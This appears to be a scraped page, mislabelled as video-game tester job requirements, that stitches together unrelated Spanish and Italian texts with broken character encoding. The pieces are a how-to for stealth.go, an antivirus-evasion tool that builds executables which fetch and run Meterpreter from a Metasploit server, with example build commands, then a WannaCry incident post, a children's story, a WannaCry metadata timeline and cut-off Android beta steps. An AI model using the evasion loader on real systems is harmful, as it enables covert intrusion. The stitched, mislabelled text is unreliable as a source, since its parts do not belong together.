Tester Jobs Requirements (VIDEO GAME)

Metasploit tiene dos excelentes m�dulos dise�ados para actualizar una simple shell a Meterpreter mediante una llamada a un servidor Web o servidor SMB. El primer m�dulo es exploit/multi/script/web_delivery y el otro es exploit/windows/smb/smb_delivery.  Utilizando estos m�dulos se puede ejecutar un comando Powershell, PHP, Python o Rundll para actualizar el shell existente a meterpreter.

Pero, �qu� sucede si no tenemos previamente una shell y s�lo podemos llamar a un ejecutable?. Podr�amos crear un meterpreter u otro payload pero al subirlo y escribirlo en disco es muy probable que el antivirus lo detecte. Pero, �y si creamos un ejecutable muy simple que s�lo haga la llamada necesaria a web_delivery o smb_delivery y luego cargue meterpreter en memoria? Este ejecutable probablemente no ser� detectado por el AV...

El script stealth.go hace exactamente eso. Toma unos pocos par�metros, el tipo de payload deseado, el servidor Metasploit y el puerto, y un nombre de carpeta y crea un peque�o ejecutable de Golang que hace la llamada apropiada a Metasploit.

Para usar el script necesitaremos una versi�n reciente de Golang y seguir unos sencillos pasos:

1.- Configura el m�dulo Metasploit web_delivery o smb_delivery seg�n lo deseado. Ten en cuenta que para el m�dulo web_delivery se necesita establecer el par�metro URIPATH y en el m�dulo smb_delivery se debe establecer el par�metro SHARE y dejar sin configurar el par�metro FOLDER_NAME.

2.- Ejecuta el m�dulo stealth.go para crear un binario llamado shell (* nix) o shell.exe (Windows):

    go run stealth.go ps 10.10.10.1 8080 test

Esto construir� un ejecutable que har� una llamada de Powershell para descargar y ejecutar c�digo desde http://10.10.10.1:8080/test.

  go run stealth.go smb 10.10.10.1 445 test

Y esto construir� un ejecutable que har� una llamada rundll32 a 10.10.10.1 est y ejecutar� el payload entregado.

3.- Ejecuta shell o shell.exe y comprueba en Metasploit si tenemos la sesi�n Meterpreter.

El c�digo stealth.go se puede encontrar en Github:  https://github.com/averagesecurityguy/scripts/blob/master/stealth.go

Fuente: Bypassing AntiVirus with Golang

Es desde hace doce a�os que vengo escribiendo este blog y nunca he escurrido el bulto cuando algo sucede, y por eso escribo hoy de este tema que tantos titulares ha despertado. Los que trabajamos en seguridad inform�tica sabemos que �estar seguro� no es una meta a la que se pueda llegar con 100% de certidumbre, y lo entendemos como la gesti�n de un riesgo que hay que manejar. No hay soluciones sencillas a problemas sencillos. Nos reportan bugs a nosotros y nosotros reportamos bugs a otras empresas. Es el d�a a d�a de nuestro trabajo.

Figura 1: El ataque del ransomware WannaCry

Ayer un ransomware nos afect� en unos equipos de red, como a muchas otras empresas de los m�s de 70 pa�ses que han sido detectados ya. El ransomware tiene como objetivo cifrar los archivos del equipo infectado para pedir un rescate v�a BitCoins, en este caso 300 USD ( no tiene como objetivo robar datos) , y se distribu�a con un dropper enlazado en un correo electr�nico que no era detectado por muchos motores de antimalware. 

Figura 2: Detecciones de la primera muestra de WannaCrrypt en VirusTotal

Hoy ya s�, porque muchas empresas hemos colaborado con las casas de antimalware para que lo firmen -.

Figura 3: Detecciones en la �ltima comprobaci�n

 El esquema de ataque era:

- Fase de infecci�n: Spam masivo a direcciones de correo electr�nico con un enlace de descarga del dropper (el que descargar el payload) o explotaci�n de servicio vulnerable expuesto a Internet o conexi�n de equipo infectado a la red local. 

- Cuando se descarga el dropper se infecta con el ransomware la m�quina.

Figura 4: Alerta del CCN-Cert publicada al poco de comenzar el ataque

- Desde la m�quina infectada se escanea la LAN en busca de equipos vulnerables a MS17-10 para infectar a ese equipo tambi�n y continuar la infecci�n. Tal y como anunciaba el CCN-CERT inmediatamente.

Lo cierto es que este esquema, aprovech�ndose de las primeras infecciones, ha dado con muchos equipos en las LAN de muchas empresas que no estaban actualizados con los �ltimos parches de seguridad. Esto es as�, porque en algunos segmentos internos de algunas redes, el software que corre en esos equipos necesita ser probado con anterioridad y el proceso de verificaci�n y prueba de los parches no es tan r�pido en los segmentos internos como en los externos porque el volumen de software interno suele ser mucho mayor y de mayor sensibilidad para la continuidad del negocio.

Figura 5: WannaCrypt en NHS en inglaterra

A pesar del ruido medi�tico, este ransomware no ha conseguido mucho impacto real, y como se puede ver en la billetera BitCoin que utiliza, el n�mero de transacciones de momento va solo por 8 en una de las tres direcciones que utiliza este malware, tal y como se puede ver en la imagen siguiente. Es decir, solo se ha pagado por el rescate a esa direcci�n por 8 equipos en todo el mundo.

Figura 6: Direcci�n BitCoin con transferencias realizadas

En total, unos 6.000 USD en todo el mundo en el �ltimo recuento:

Figura 7: las direcciones usadas

Por supuesto, lo ideal es que esto no fuera as�, pero en muchas ocasiones surgen incompatibilidades entre software a medida creado en las empresas que dan soporte al core de negocio, y los nuevos parches. En muchas unidades, donde no existen esas limitaciones con largos procesos de verificaci�n para garantizar que todo va bien, no ha pasado absolutamente nada con este ransomware. Para evitar el impacto de tener un equipo con un proceso de actualizaci�n m�s largo, se contrarresta con procesos de copia de seguridad continuo y pruebas de planes de contingencia permanentes. De hecho, el mapa de infecciones de WannaCry, el buen hacer de los equipos de respuesta a incidentes lo mantiene en n�meros muy bajos - no solo en pagos, sino en n�mero de direcciones vivas infectadas en todo el mundo -

Figura 8: Mapa de infecciones de WannaCry en tiempo real

Muchos pueden pensar que el problema es que se es lento haciendo la verificaci�n de que un parche no rompe nada, o que no se deber�a hacer porque los parches ya vienen probados, pero la realidad es que en redes de empresas con la cantidad de tecnolog�a que generamos diariamente en Telef�nica, no se puede arriesgar la continuidad de negocio de un sistema que da servicio a los clientes por un problema con un parche, as� que se invierte m�s en responder ante un posible riesgo de que sea explotado con medidas de detecci�n y respuesta, en lugar de arriesgarse a que algo falle en la prevenci�n r�pida. Y no es porque el parche est� mal, sino porque puede afectar al funcionamiento de cualquier m�dulo del sistema completo.

Nuestro equipo de seguridad y respuesta ante incidentes

A nosotros nos afect� esta pieza de ransomware en un determinado segmento, como a muchas otras empresas por desgracia, y debido a que la gesti�n de los riesgos es una prioridad, el equipo encargado de ocuparse de la seguridad interna de la red Telef�nica de Espa�a opt� por primar la protecci�n de los servicios de los clientes y cortar la posible expansi�n por la LAN interna, para lo que, en el momento en que se detect� el ataque, se decidi� responder con una desconexi�n de posibles equipos infectados para que el servicio que damos a nuestros clientes continuara.

Figura 8: El e-mail avisando a los compa�eros de las medidas de control

Hasta aqu�, todo normal en un proceso habitual de un equipo de respuesta a incidentes cuando en una compa��a se cuela un malware que no ha sido detectado por las medidas de seguridad - y son muchas - que se tienen instaladas. Y a investigar para solucionar el problema lo antes posible sin que afecte a lo m�s importante, los datos y la seguridad de los servicios de los clientes.

A m�, por motivos personales, me pill� de vacaciones, pues como todo buen trabajador hab�a solicitado desde hac�a m�s de un mes, una semana de vacaciones que ten�a marcada a fuego para comenzar antes de ayer jueves. Poco a poco, ayer viernes, me fueron contando lo sucedido y, atendiendo a todo el mundo hice lo que he hecho siempre, ser transparente y no escurrir el bulto y apoyar a los compa�eros que ten�an esta situaci�n.

Cort� mis vacaciones y me sum� a comit� de crisis que est� lidiando con esta situaci�n, aunque ellos mismos est�n m�s que preparados y se valen para resolver este tipo de situaciones a las que los que trabajamos en seguridad nos enfrentamos peri�dicamente. Por la seguridad de Telef�nica velamos miles de personas. De hecho, esta crisis ha sido m�s medi�tica en las redes sociales que en la realidad interna de Telef�nica, donde los equipos infectados est�n controlados y est�n siendo restaurados. Me un� para aportar lo que pueda a compa�eros que saben lo que se hacen y que tienen m�s que claro lo que tienen que hacer.

A algunos en las redes sociales le ha llegado a sorprender que las decisiones de seguridad interna en un momento de una infecci�n por malware de unos equipos no las tome yo, pero eso es porque mis responsabilidades directas son las de CDO (Chief Data Officer), donde est�n las unidades de LUCA (la unidad de BigData y Data Analytics para clientes), ElevenPaths (la unidad de ciberseguridad global para clientes), Aura y la 4� Plataforma (que presentamos en el Mobile World Congress). A�n as�, me apunt�, me apunto y me apuntar� a ayudar encantado a mis compa�eros, y a los compa�eros de otras empresas que tambi�n han llamado pidiendo colaboraci�n y ayuda.

Ser Resilliance

Los que estamos en esto sabemos que alcanzar el 100% de seguridad es un hito solo al alcance la imaginaci�n de los que no saben de seguridad, y nosotros haremos lo que los que trabajamos en esto sabemos hacer: Seguir mejorando para minimizar el riesgo. Intentar mejorar nuestro trabajo para que el n�mero de incidentes se reduzca y, lo que es m�s importante, para que nuestros clientes puedan seguir disfrutando de sus servicios.

El proceso de fortificaci�n de una empresa exige poner todas las medidas de seguridad que sea posible siempre que una no afecte a otra. Y exige balancear las inversiones en prevenci�n (evitar que pase la seguridad a toda costa), detecci�n (lo antes posible cuando algo que sabes que puede pasar pase) y respuesta (responder para que la continuidad del servicio siga funcionando), es decir que la empresa sea ressiliance.

Ninguna empresa puede garantizar que no vaya a afectarle un malware u otro. Yo no lo har�a con ninguna. Recuerdo que no hace muchos meses un cliente que hab�a sido atacado me dijo: �Haz lo que sea pero garant�zame que nunca me va a volver a pasar�, Y yo respond� como hago siempre �Te puedo garantizar que �ste ya no te sucede, pero no que no te vaya a suceder otro distinto�.

Los que creen que se pueden evitar el 100% de los incidentes es que no saben nada de seguridad inform�tica. Lo que tienes que tener es un equipo que sepa detectarlos y responda de forma contundente para que el sistema inform�tico sea resistente. Y en Telef�nica se est� trabajando de esa forma para conseguir que, como se ha visto, los servicios de nuestros clientes no se hayan visto comprometidos.

Saludos Malignos!

PD: Quiero dar mi agradecimiento personal a los cientos de profesionales del mundo de la seguridad que han contactado con nosotros para informarse, apoyarnos, ofrecer ayuda, cambiar conocimientos y hacer, en definitiva lo que es nuestro trabajo. Gracias por vuestro apoyo. Son tantos y tantos que me costar�a ponerlos todos aqu�. Gracias, de coraz�n.

C�mo ya os anticip�, quer�a escribir las historias "De mi boca" en forma de cuentos que he ido construyendo a lo largo de los �ltimos a�os seg�n se los he ido contando a mi Hacker y mi Survivor. Son cuentos para ellas, donde no hay nada m�s especial que verles las caras mientras se los cuento. Por supuesto, aprovecho siempre para meterle alg�n mensaje de ense�anza o moralina, l�gicamente. la historia es m�s corta o m�s larga seg�n se la cuento un d�a u otro. Y lo que os he dejado es un compendio de todas las cosas que he ido a�adiendo a la historia a base de cont�rsela muchas veces. Si os gustan los cuentos leed la historia, si no, ma�ana habr� otro post. A ellas les encanta esta historia.

Saludos Malignos!

Figura 1: El Gigante de los Juguetes

Parte I: La llegada del Drag�n Mat�as al Castillo del Rey Pap�

�rase una vez que se era, un d�a soleado en el Castillo del Rey Pap� cuando lleg� el Drag�n Mat�as volando. Ya eran viejos amigos, as� que el Drag�n Mat�as sab�a perfectamente c�mo aterrizar con sus grandes patas en la parte alta del Castillo del Rey Pap� - donde adem�s hab�a una piscina en la que pod�a refrescarse �. No era un castillo muy grande, pero definitivamente era un castillo, donde los pr�ncipes y las princesas pod�an jugar durante horas con todo tipo de juguetes.

El Drag�n Mat�as le pidi� ayuda al Rey Pap�. Un drag�n, amigo del Drag�n Mat�as � no el maloso Drag�n Juancho -, se hab�a clavado una astilla muy fina en el �culete� y estaba sufriendo.

- �Ya os he dicho muchas veces que cuando os com�is las moras no os sent�is cerca, que siempre hay zarzas y os pod�is pinchar el culete con ellas�, dijo el Rey Pap� con tono de rega�ina.

El Rey Pap� y el Drag�n Mat�as se hab�an hecho amigos hace mucho tiempo cuando le hab�a pasado lo mismo al bueno de Mati-itas � que era como llamaban en la familia al Drag�n Matias - comiendo moras negras, que son las que m�s le gustaban. Ten�a la espina clavada en el cachete del culete y no se la pod�a quitar con sus cortas patas delanteras y sus grandes zarpas.

El Rey Pap� le quit� la espina, y desde entonces se hicieron grandes amigos. Y de vez en cuando, como en la historia de hoy, alg�n que otro drag�n distra�do se sienta sobre alguna zarza a comerse las dulces moras y se queda con una espinita en el culete. Y el Rey Pap� se la tiene que quitar. Era el quita-espinas-del-culete-de-dragones-oficial. M�s o menos. A cambio, el Drag�n Mat�as siempre le ayudaba y le defend�a del maloso Drag�n Juancho, que al final para eso est�n los amigos, para ayudarse.

Ese d�a, el Rey Pap� se ten�a que ir con el Drag�n Mat�as, as� que le pidi� a su madre, la Abuela Roncona, que se ocupara de cuidar de Chiquitina, Rapid�n, Cassandra y la beb� Asmara, los ni�os que estaban actualmente en el Castillo del Rey Pap�, pues no hab�a nadie m�s para ocuparse. Solo ser�an unas horas, mientras el Rey Pap� se iba a aliviar al pobre dragoncito de su dolor en el culete.

La mayor de todos los ni�os era Cassandra � que los d�as que estaba de mal humor todos la llamaban Pedorrina por una afici�n poco asociada a princesas -, despu�s estaba Rapid�n, que de mayor quer�a ser un caballero andante que corriendo m�s r�pido que nadie salvara a todos los buenos de todos los malos. Iba a ser un s�per-h�roe veloz, veloz.

Chiquitina ya no era la chiquitina de todos, pero la llamaban as� porque cuando naci� era tan peque�a, tan peque�a, tan peque�a que se ba�aba en un vaso de agua. Tanto, que el Rey Pap� casi se la bebe un d�a � pero esa es otra historia que otro d�a os contar� -.

Despu�s estaba Saritina, que a pesar de ser un beb� ya gustaba de viajar sola por el mundo y hab�a aprendido hasta a Chino �Por qu�? Pues porque por las noches no dorm�a y viv�a el doble de deprisa. Claro est�, tanto viajaba que, ese d�a, se encontraba de viaje y no estaba en el Castillo del Rey Pap�.

Por �ltimo, la m�s peque�ita de todos era la beb� Asmara, que a�n no se hab�a recuperado del susto de venir al mundo y no hab�a aprendido a hacer ruidos. No sab�a llorar, no sab�a re�r. Y adem�s, no hac�a falta, ya que con la cantidad de ruido que generaban Rapid�n, Cassandra y Chiquitina ya daba para todo el reino.

La Abuela Roncona les pidi� a los ni�os que se fueran a jugar a la Habitaci�n de la Diversi�n mientras el Rey Pap� estuviera fuera con el Drag�n Mat�as, y as� ella aprovechar�a para echarse una buena siesta� y roncar un ratito mientras regresaban.

El Drag�n Mat�as apareci� por la ventana de la Habitaci�n de la Diversi�n para despedirse de los ni�os, y para que se entretuvieran les dio un juguete nuevo. Los ni�os ten�an infinidad de juguetes en la Habitaci�n de la Diversi�n, pero el bueno de Mati-itas siempre les tra�a alg�n detallito. En esta ocasi�n les dio un tamborcito de dos membranas, con unas bolitas golpeadoras, de tal forma que al frotarlo con las manos las bolas hac�an sonar el tambor por los dos lados. Y sali� volando con el Rey Pap� a lomos, que se despidi� por la ventana.

- ��Adi�s!, �Pronto estamos de vuelta!�

Pero como sucede muchas veces, algo que se hace para un bien, a veces genera un foco de conflicto y los ni�os, en lugar de estar felices, comenzaron a discutir por el nuevo juguete.

Parte II: La llegada del Gigante de los Juguetes

El tamborcito se convirti� en el coraz�n de una gran discusi�n entre Rapid�n, Cassandra y Chiquitina. Gritos, llantos, pellizcos en el culete, carreras, brincos y desorden del resto de los juguetes de la Habitaci�n de la Diversi�n. Ya no serv�a para nada la ingente cantidad de juguetes que ten�an en la habitaci�n, todo giraba en torno a qui�n pod�a jugar con el nuevo juguete que les hab�a regalado el Drag�n Mat�as.

La peque�a Asmara, sin hacer ning�n ruido, se limitaba mirar a un lado y a otro viendo el espect�culo, incapaz de entender qu� es lo que hac�a que los tres ni�os generasen tanto alboroto por un juguete cuando la Habitaci�n de la Diversi�n ten�a una cantidad enorme de ellos. Hab�a de todo para entretenerse, pero los ni�os discut�an por el nuevo tamborcito.

El ruido se hizo tan grande que se oy� por toda la comarca. Bueno, no toda la comarca. La Abuela Roncona segu�a durmiendo la siesta pl�cidamente ajena a todo lo que suced�a. El sonido de sus ronquidos durante a�os hab�a hecho que cualquier ruido que hubiera mientas ella estaba durmiendo no fuera escuchado, as� que ya pod�an estar cantando las canciones de La Kalabaza de Pippa sobre su cabeza, que no se iba a despertar. Ella segu�a a lo suyo sierra que te sierra �rboles.

Pero de repente� alguien golpe� en la puerta de la Habitaci�n de la Diversi�n. Fueron tres golpes secos y fuertes, espaciados entre s�:

- TOC. TOC. TOC.

Los ni�os se quedaron perplejos, y miraron a la puerta sorprendidos. No esperaban a nadie. Y ni el Rey Pap�, ni el Drag�n Mat�as ni la Abuela Roncona hubieran llamado a la puerta de esa forma, as� que deb�a ser alguien distinto. Rapid�n, Chiquitina y Cassandra se miraron extra�ados y dijeron:

- ��Qui�n ser�?�, dijo Cassandra. 

- �No lo s�, pero ser� por los ruidos�, dijo Rapid�n. 

- ��Yo abro!�, dijo Chiquitina mientras iba corriendo a la puerta.

Chiquitina era la m�s activa de todos, as� que siempre estaba pensando en qu� ocupar sus energ�as, y una carrera a la puerta para ser la primera en abrir era tan buena idea como cualquier otra cosa. Adem�s, ella siempre quer�a ser la primera en todo. Hasta en las cosas malas. Ella siempre, la n�mero 1.

Rapid�n acept� de buen grado el reto de Chiquitina y los dos corrieron hacia la puerta, abri�ndola al un�sono. La abrieron de par en par r�pidamente y se encontraron con que detr�s de la puerta hab�a un par de grandes botas. Y dentro de ellas, seg�n fueron mirando hacia arriba, un Gigante con un gran saco a la espalda apareci�. Era m�s grande que la propia puerta de la Habitaci�n de la Diversi�n.

Los ni�os se quedaron mirando con cara de sorpresa al Gigante y le preguntaron:

- ��Qui�n eres?�, dijo Chiquitina. 

- �Soy el Gigante de los Juguetes�, respondi� el hombret�n. 

- ��El Gigante de los Juguetes? �Nos traes m�s juguetes?�, dijo Rapid�n. 

- �Ja, Ja, Ja. No, mi amigo. Ni mucho menos�, respondi� el Gigante de los Juguetes. 

- ��No?, �entonces qu� quieres?�, dijo Cassandra.

El Gigante de los Juguetes entr� a la desordenada Habitaci�n de la Diversi�n y mir� alrededor para deleitarse con el caos que reinaba entre tal montonera de juguetes de todo tipo. Vio a la peque�a Asmara y la dedico una moner�a con la mano al tiempo que la sonre�a. Luego mir� a los ni�os y les dijo:

- �Vuestro esc�ndalo ha sido tan grande que me he visto obligado a intervenir. Soy el Gigante de los Juguetes, y me llevo todos los juguetes de los ni�os que se portan mal para que aprendan a valorar lo que tienen. No queremos ni�os malcriados en este reino�, dijo el Gigante de los Juguetes.

- �Pero� yo quiero a mis juguetes, no puede llev�rselos�, dijo Cassandra.

- �S�, s� que puedo. Ten�is todos estos juguetes y sin embargo est�is discutiendo todo el rato, as� que eso significa que no est�is contentos con ellos. Por eso, como hago con los juguetes de todos los ni�os mal cridados, me los voy a llevar en mi saco�, explic� el Gigante de los Juguetes.

Y comenz� a llenar su gran saco con todos los juegos que ten�an los ni�os en la Habitaci�n de la Diversi�n. Meti� los puzzles, las mu�ecas, los coches de carreras, los peluches, los juegos de construcci�n, las pelotas, los bolos, los juegos de maquillaje, los disfraces, etc�tera. Todos los juguetes de los ni�os cupieron dentro del enorme saco del Gigante de los Juguetes. Los ni�os estaban mirando sin poder cre�rselo.

- �Ya tengo todos vuestros juguetes, pero no ser� para siempre� por ahora. Pod�is venir a mi casa esta tarde con la lista de todos los juguetes que record�is que ten�is. Si sab�is qu� juguete es, lo ech�is de menos y pod�is decirme c�mo lo hab�is llamado, os lo devolver�. El resto de los juguetes que no sep�is que ten�is o c�mo se llama, se los regalar� a otros ni�os que los valoren m�s, y les haga m�s felices. Aqu� ten�is un mapa de c�mo llegar a mi casa, la Caba�a del Gigante de los Juguetes, para recogerlos�, dijo el Gigante de los Juguetes mientras le daba a Cassandra un peque�o mapa con la ubicaci�n de la Caba�a del Gigante de los Juguetes.

Y sali� por la puerta, dejando a los ni�os en una Habitaci�n de la Diversi�n totalmente desolada. Sin juguetes. Sin juegos. Sin puzzles. Sin mu�ecas. Sin pelotas o coches de carreras. No hab�a ning�n juguete en la habitaci�n. Y los ni�os se sintieron verdaderamente tristes, ya no ten�an ninguno de los juguetes por los que discut�an habitualmente en la Habitaci�n de la Diversi�n, y todo estaba en silencio.

Parte III: La Caba�a del Gigante de los Juguetes

Los ni�os quer�an recuperar sus juguetes, pero para ello ten�an que ir a la Caba�a del Gigante de los Juguetes con la lista de todos sus juguetes, si no, se quedar�an sin ellos. �Se acordar�an de todos?

- �Chicos, necesitamos hacer la lista con todos los juguetes cuanto antes. Si no est�n aqu� cuando regrese el Rey Pap� con el Drag�n Mat�as, nos van a castigar de por vida�, dijo Cassandra.

- ��Hagamos tres listas con nuestros juguetes y vayamos a la Caba�a del Gigante de los Juguetes para recuperarlos cuanto antes!�, dijo Rapid�n.

- ��Vale!�, dijo Chiquitina, �� pero yo no s� escribir, as� que necesito ceras y l�pices de colores para dibujar�.

Los tres ni�os, bajo la mirada atenta de Asmara, comenzaron a hacer memoria y escribir su lista. Comenzaron con sus juguetes m�s preciados, como Pepe, Pepita o Tiger � sus mu�ecos de apoyo -, luego con los que m�s jugaban, pero a medida que avanzaban en sus listas, les costaba m�s recordar todos los juguetes que ten�an.

Chiquitina dibujaba y dibujaba sin parar, y se re�a mientras lo hac�a. Cassandra, cada vez que recordaba un juguete era porque se acordaba de qui�n se lo regal�, o de c�mo jug� con �l, pero no estaba segura de si se estaba olvidando de alguno de ellos. Rapid�n, el m�s ordenado de los ni�os, utilizaba un sistema distinto. Iba mirando las estanter�as y los cajones donde guardaba sus juguetes para ir recordando qu� iba en cada sitio. Aun as�, alg�n sitio no le era f�cil de recordar a Rapid�n. No sab�a qu� juguete estaba all�.

A medida que avanz� el d�a, completaron su lista, y decidieron que ten�an que ir cuanto antes a por sus juguetes, o cuando llegaran a la Caba�a del Gigante de los Juguetes lo mismo ya hab�a regalado todos sus juguetes a otros ni�os, as� que urdieron un plan r�pido para ir cuanto antes.

Cassandra se tir� un pedete al lado de la puerta de la habitaci�n donde dorm�a la Abuela Roncona, y despu�s comenzaron a agitarla:

- ��Abuela Roncona, Abuela Roncona!, Asmara huele mal, hay que cambiarla�, dijo Chiquitina.

La Abuela Roncona se despert� y empez� a sentir en su nariz el mal olor y dijo:

- �Uff, s�, que mal huele, voy a por ella�, mientras se incorporaba de la cama.

Mientras que la Abuela Roncona iba a cambiar a Asmara, los tres ni�os aprovecharon para coger tres sacos vac�os de la habitaci�n de la ropa e irse hacia la Caba�a del Gigante de los Juguetes en el bosque.

A�n no era tarde, as� que no les cost� mucho seguir las indicaciones del mapa. Deb�an llegar al quinto �rbol, seguir por el camino de la derecha. Saltar por encima del tr�bol de cuatro hojas, cruzar bajo la sombra de tres grandes �rboles de grandes troncos morados, saludar a la Lechuza Madrugadora, vadear el r�o por el puente de una cuerda y bajar por la escalera de piedras, m�rmol y musgo hasta la entrada de la Caba�a del Gigante de los Juguetes. Todo muy sencillo y claro.

Cuando llegaron a la puerta de la Caba�a del Gigante de los Juguetes hab�a un gran cartel grabado en madera que dec�a:

�Bienvenido a la Caba�a del Gigante de los Juguetes.

�Sabes c�mo se llama tu juguete?�

Rapid�n se apresur� a llamar r�pidamente, c�mo si no, a la puerta con tres golpes� r�pidos.

- Toquitoquitoqui.

Y la puerta se abri�. All� estaban las dos mismas botas que hab�an visto con anterioridad ese mismo d�a, con el mismo Gigante de los Juguetes dentro de ellas.

- ��Vaya!, si est�n aqu� Rapid�n, Chiquitina y Cassandra. Hab�is sido veloces en venir a por vuestros juguetes. Y lo m�s extra�o. Tambi�n hab�is sido silenciosos. Desde que sal� de vuestra Habitaci�n de la Diversi�n con todos vuestros juguetes no he escuchado ning�n grito, alboroto o ruido proveniente de all�. �Os sab�is el nombre de vuestros juguetes para que os los devuelva?�, dijo el Gigante de los Juguetes sin dejarles entrar en la caba�a.

Los ni�os vieron que detr�s del Gigante de los Juguetes estaba su gran saco, a rebosar de todos los juegos, mu�ecos y juguetes en general que se hab�a llevado de su Habitaci�n de la Diversi�n, as� que comenzaron a decirle qu� juguetes ten�a cada uno.

Cassandra iba leyendo su lista deprisa. Rapid�n iba leyendo la suya m�s despacio que hab�a aprendido a leer hace no mucho. Chiquitina iba ense��ndole al Gigante de los Juguetes los dibujos que hab�a hecho, haciendo que �ste dedicara unos segundos a cada dibujo para entender bien a qu� juguete representaba cada uno de ellos.

Poco a poco, los sacos de los tres ni�os se fueron llenando de juguetes que conoc�an bien, y se fueron alegrando, pero el Gigante de los Juguetes no les dejaba ver si el saco que �l ten�a estaba muy lleno a�n o muy vac�o. Solo ve�an sus sacos llen�ndose.

Y lleg� el momento en que acabaron su lista, y el Gigante de los Juguetes les pregunt�:

- ��Alg�n juguete m�s?�

Los ni�os se miraron entre s� y luego al Gigante de los Juguetes.

- �No nos acordamos de m�s juguetes�, dijo Cassandra.

- �Entonces est�n todos los que necesit�is�, dijo el Gigante de los Juguetes.

Sonri� y cerr� la puerta tras de s�, dejando a los ni�os en el bosque listos para marchar. Se echaron el saco a la espalda y regresaron por el mismo camino que hab�an venido � saludando a la Lechuza Madrugadora � hacia la Habitaci�n de la Diversi�n en el Castillo del Rey Pap�.

Parte IV: Los Juguetes en la Habitaci�n de la Diversi�n

Cuando los ni�os llegaron al Castillo del Rey Pap� fueron directamente a la Habitaci�n de la Diversi�n, y pusieron todos los juguetes en su sitio, justo antes de que llegara la Abuela Roncona con una Asmara feliz y sonriente de ver a los ni�os juntos otra vez.

- �No s�, no echo en falta ning�n juguete, pero sin embargo la Habitaci�n de la Diversi�n parece como m�s vac�a, �no?�, dijo Cassandra.

- �A lo mejor es que como los hemos ordenado ahora ocupan menos�, dijo Rapid�n.

Chiquitina no dijo nada, pues estaba jugando con Pepita, su mu�eca favorita. En ese momento lleg� el Drag�n Mat�as volando con el Rey Pap� subido a lomos, que salt� sobre el tejado para que el drag�n no tuviera que detenerse m�s. El Rey Pap�, baj� a la Habitaci�n de la Diversi�n.

- �Hola ni�os, �qu� tal lo hab�is pasado mientras estaba fuera?�, dijo el Rey Pap�.

Chiquitina, Cassandra y Rapid�n dieron un beso al Rey Pap�, y �ste a su vez se lo dio a la Abuela Roncona y la beb� Asmar�, mientras le dec�an:

- �Todo muy bien, Rey Pap�, dijo Cassandra. 

- �No hemos salido de la Habitaci�n de la Diversi�n a ning�n sitio�, dijo Rapid�n. 

- �No, y por el bosque hemos ido de d�a�, dijo Chiquitina.

El Rey Pap� sab�a que algo hab�a pasado, pero todo parec�a en regla, as� que les mand� a lavarse la cara y las manos para irse a cenar mientras �l se iba a cambiar. Todo parec�a en regla.

Cuando lleg� la noche, y todos los ni�os dorm�an, el Gigante de los Juguetes abri� la puerta de la habitaci�n de la beb� Asmara, que dorm�a pl�cidamente. �l se sonri�, y sac� de su saco un juguete. Era un tambor con dos membranas y dos bolas con un hilo que lo golpeaban. El Gigante de los Juguetes hab�a dibujado sobre las caras del tambor dos ni�as sonrientes, con lo que hab�a convertido al tambor en algo diferente. Lo coloc� en la cunita de la beb� Asmara y se fue despu�s de darle un beso en la frente.

A la ma�ana siguiente, todo el Castillo del Rey Pap� se despert� con dos sonidos extra�os. Por un lado un sonido de tambores que redoblaban:

- ToquiToq, ToquiToq, ToquiToq, ToquiToq, ToquiToq�.

Por otro lado, la risa dulce, aguda y emocionante de la beb� Asmara que jugaba feliz en su habitaci�n con el nuevo juguete.

Y color�n colorado, este cuento, se ha acabado.

FIN.

Esta semana, nuestros compa�eros del laboratorio de ElevenPaths terminaban por publicar su an�lisis de WannaCry desde el punto de vista de los metadatos. Un enfoque no se hab�a puesto encima de la mesa a�n y que ellos han querido tocar de forma minuciosa y que, desde el punto de la investigaci�n forense ha dado muchos frutos en el pasado.

Figura 4: Especificaci�n RTF para el campo Generator

Utiliza Microsoft Word en Coreano

Figura 5: Idiomas en el documento RTF de WannaCry

Figura 6: Selecci�n de idioma por defecto en Microsoft Office

Tiempos de edici�n y n�mero de revisiones

Figura 7: Tiempo de edici�n por tipo de fichero de idioma

Figura 8: N�mero de revisiones por tipo de documento

Las posibles zonas GMT

2017-04-27 17:25 (hora local del atacante): El atacante crea b.wnry, un fichero BMP en segundo plano y el r.wnry, que contiene el fichero "readme". 

2017-05-09 16:57: El atacante crea otro zip con herramientas para conectarse a la red Tor y negociar el rescate. Se descargaron en el sistema de archivos del atacante a las 16:57, 09/05/2017, hora local del atacante, y son empaquetados e introducidos en un nuevo zip, s.wnry. 

2017-05-10 01:16: El atacante crea en su sistema c.wnry, que contiene dominios onion de la red Tor y una cartera para bitcoins. 

2017-05-11 15:59: Crea r.wnry que contiene instrucciones de borrado. 

2017-05-11 16:47: Edita b.wnry. 

2017-05-11 20:11: Edita c.wnry de nuevo. 

2017-05-11 20:13: Introduce b.wnry en el zip y lo comprime con contrase�a. 

2017-05-12 02:22: A�ade los ficheros EXE: u.wnry y t.wnry. El atacante empaqueta y establece una contrase�a. El payload de gusano est� listo.

Figura 9: Zonas horarias v�lidas con las fechas de los archivos ZIP

No es muy ambicioso

Saludos Malignos!

PD: M�s referencias.

- El ataque del ransomware WannaCry
- Telef�nica WannaCry File Restorer
- Telef�nica WannaCry File Restorer Desktop Version
- Telef�nica WannaCry File Restorer en Active Directory
- Latch Antiransonware para luchar contra el ransomware

Il nuovo sistema operativo di Google ha nuove funzionalit� che renderanno lo scorrimento attraverso il futuro di Android UI come un sogno.

Mentre laggiornamento � attualmente in fase di implementazione su alcuni dispositivi Android, c� ancora un sacco di telefoni che non hanno accesso al sistema operativo pi� recente. Se sei uno dei tanti che non ce lha sul dispositivo, c� un modo per farlo. � possibile scaricare la developer preview per godere le ultime caratteristiche, ma ci sono tutte le possibilit� che potrebbe non funzionare correttamente. C� anche il rischio di buttare via lintero dispositivo, tipo la scarsa durata della batteria potrebbe essere un problema oppure la funzione di alcune applicazioni ancora non compatibili. 

Iscrizione

Una volta che accedi al tuo account Google sul dispositivo, andare al seguente link: www.google.com/android/beta . Si dovrebbe vedere il dispositivo pronto per liscrizione.

Installare e godere
Una volta che si accede vedrete tutti i dispositivi idonei che possedete. Fare clic su Iscrizione Device sul dispositivo che si desidera essere il vostro agnello sacrificale. Leggi i termini e le condizioni e spuntare di averli letti, quindi � sufficiente toccare Join Beta. Ci pu� volere fino a 24 ore per laggiornamento. Ti verr� richiesto nella notifica quando laggiornamento OTA � pronto, assicurarsi che il Wi-Fi � collegato per evitare di finire i giga.

Disinstallare

